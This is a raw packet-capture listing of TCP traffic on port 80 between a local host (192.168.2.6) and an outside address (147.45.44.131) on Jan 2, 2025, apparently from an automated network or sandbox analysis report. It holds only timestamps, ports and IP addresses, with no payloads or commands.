Jan 2, 2025 19:14:16.320452929 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320458889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320465088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320470095 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320475101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320486069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320511103 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320511103 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320511103 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320513964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320530891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320534945 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320535898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320543051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320549965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320553064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320559025 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320564985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320569038 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320569992 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320575953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320581913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320589066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320588112 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320594072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320600033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320632935 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320632935 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320672989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320688009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320693016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320698977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320703983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320709944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320715904 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320723057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320728064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320733070 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320734024 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320745945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320753098 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320763111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320770025 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320772886 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320772886 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320833921 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320846081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320849895 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320852995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320858002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320863008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320873976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320879936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320883036 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320884943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320897102 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320902109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320908070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320919037 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320924997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320929050 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320929050 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320930004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320956945 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320983887 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.390607119 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390652895 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390659094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390671015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390703917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390710115 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390726089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390732050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390733004 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.390764952 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.390773058 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.390924931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390929937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390944004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390949965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390955925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390964985 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390970945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390980959 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.390995026 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.391038895 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.395196915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395211935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395217896 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395224094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395263910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395267010 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.395288944 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.395319939 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395328045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395333052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395350933 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395472050 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.395473957 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395482063 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395493031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395498991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395519018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395539999 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.395560980 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395586014 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.395589113 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395657063 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395662069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395674944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395680904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395725965 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.395741940 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.395741940 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.395762920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395786047 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395922899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395926952 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.395962954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395968914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395975113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.395979881 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396068096 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396071911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396078110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396100998 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.396121979 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396198034 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.396356106 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396363020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396368980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396469116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396475077 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396508932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396513939 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.396516085 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396522999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396608114 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.396919966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396927118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396933079 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396967888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396974087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.396986961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397015095 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.397067070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397073984 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397077084 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.397079945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397084951 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397104979 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.397191048 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397197008 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397208929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397214890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397262096 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397283077 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.397283077 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.397305012 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397313118 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.397376060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397382021 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397387981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397393942 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397458076 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.397517920 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397552013 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.397566080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397602081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397649050 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397649050 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.397654057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397666931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397680998 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397686005 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397696972 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397716999 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.397720098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397838116 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.397854090 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397857904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397871017 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397914886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397921085 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397933006 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397938013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.397957087 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.398029089 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.398072004 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398077965 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398089886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398094893 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398101091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398134947 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.398209095 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.398212910 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398220062 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398231983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398236990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398243904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398253918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398272991 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398308039 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.398308039 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.398336887 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398415089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398421049 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398432970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398437977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.398457050 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.398535967 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.399424076 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399437904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399490118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399496078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399507999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399532080 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.399538994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399544954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399566889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.399574041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399610996 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.399682045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399688959 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399701118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399751902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399758101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399770975 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399775982 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.399796009 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399815083 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399827957 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.399943113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.399965048 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.399974108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400010109 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400034904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400083065 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400101900 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400141954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400151968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400196075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400202036 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400208950 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400223017 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400228024 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400228024 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400289059 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400289059 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400320053 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400327921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400333881 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400340080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400372982 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400378942 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400405884 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400405884 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400448084 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400531054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400537014 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400549889 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400554895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400610924 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400651932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400657892 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400657892 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400657892 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400676966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400684118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400717974 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400742054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400757074 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400774956 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400805950 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.400819063 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400871992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400876999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400888920 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400914907 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400928020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400933981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.400955915 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401093960 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401107073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401108027 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401118040 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401124001 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401129961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401143074 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401149035 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401154041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401160002 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401170015 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401175022 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401180029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401185036 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401196003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401201963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401212931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401213884 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401213884 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401213884 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401213884 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401218891 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401226044 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401228905 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401232004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401238918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401251078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401274920 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401274920 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401299953 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401304960 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401400089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401406050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401412964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401417971 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401428938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401433945 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401484966 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401484966 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401535034 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401540995 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401552916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401643038 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401690960 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401698112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401709080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401720047 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401726007 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401774883 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401774883 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.401806116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401818991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401824951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401835918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401854992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401860952 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401873112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.401879072 CET	80	49728	147.45.44.131	192.168.2.6
